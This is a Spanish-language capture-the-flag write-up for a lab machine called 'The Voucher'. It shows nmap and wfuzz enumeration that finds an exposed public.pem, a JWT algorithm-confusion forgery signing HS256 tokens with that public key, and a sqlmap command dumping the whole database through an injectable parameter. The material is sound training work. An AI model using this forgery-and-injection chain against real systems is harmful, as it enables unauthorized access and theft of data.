Write-ups

Resolución del CTF The Voucher


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.117
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los puertos 22, 80 y 8080 abiertos. El servicio SSH no dispone de credenciales válidas ni vectores directos, por lo que centramos el análisis en los servicios web.

Enumeración Web

En el puerto 80 encontramos la página por defecto de Apache sin contenido relevante. El puerto 8080 expone una aplicación web con funcionalidades de autenticación y búsqueda.

Realizamos fuzzing de directorios para identificar recursos no enlazados.

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.0.117:8080/FUZZ

Detectamos el directorio /keys. Enumeramos archivos potenciales de claves públicas.

wfuzz -c -w extensions.txt --hc 404 http://192.168.0.117:8080/keys/FUZZ

Obtenemos el archivo public.pem, correspondiente a una clave pública accesible sin autenticación.

Explotación

Utilizamos la clave pública para generar un JSON Web Token manipulando el algoritmo de firma. Forzamos el uso de HS256 firmando el token con la clave pública como secreto.

python3 jwt_forge.py

El token generado es aceptado por la aplicación, permitiendo el acceso al endpoint interno de búsqueda.

curl -s -H "Authorization: Bearer <JWT>" "http://192.168.0.117:8080/api/courses.php?q=1"

La respuesta devuelve errores SQL, confirmando que el parámetro q es vulnerable a inyección SQL.

Post-Explotación

Automatizamos la explotación de la inyección SQL utilizando sqlmap, incluyendo el token JWT válido en la cabecera Authorization.

sqlmap -u "http://192.168.0.117:8080/api/courses.php?q=1" --headers="Authorization: Bearer <JWT>" --dump --batch

Extraemos el contenido completo de la base de datos, localizando en una tabla las flags correspondientes al usuario y a root.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *